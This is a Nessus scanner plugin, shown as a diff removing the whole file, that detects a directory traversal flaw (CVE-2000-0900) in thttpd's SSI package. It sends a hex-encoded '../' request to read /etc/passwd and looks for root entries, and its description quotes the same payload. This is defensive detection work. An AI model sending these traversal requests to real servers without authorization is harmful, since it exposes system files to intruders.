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- #
- # This script was written by Thomas Reinke <reinke@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10523);
- script_bugtraq_id(1737);
- script_version ("$Revision: 1.17 $");
- script_cve_id("CVE-2000-0900");
-
- name["english"] = "thttpd ssi file retrieval";
- script_name(english:name["english"]);
-
- desc["english"] = "The remote HTTP server
- allows an attacker to read arbitrary files
- on the remote web server, by employing a
- weakness in an included ssi package, by
- prepending pathnames with %2e%2e/ (hex-
- encoded ../) to the pathname.
- Example:
- GET /cgi-bin/ssi//%2e%2e/%2e%2e/etc/passwd
-
- will return /etc/passwd.
-
- Solution: upgrade to version 2.20 of thttpd.
-
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "thttpd ssi flaw";
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Thomas Reinke");
- family["english"] = "Remote file access";
- script_family(english:family["english"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
-
- port = get_http_port(default:80);
-
-
- if(!get_port_state(port))exit(0);
-
-
- foreach dir (cgi_dirs())
- {
- buf = http_get(item:string(dir, "/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"),
- port:port);
- rep = http_keepalive_send_recv(port:port, data:buf);
- if( rep == NULL ) exit(0);
- if(egrep(pattern:".*root:.*:0:[01]", string:rep)){
- security_hole(port);
- exit(0);
- }
- }
-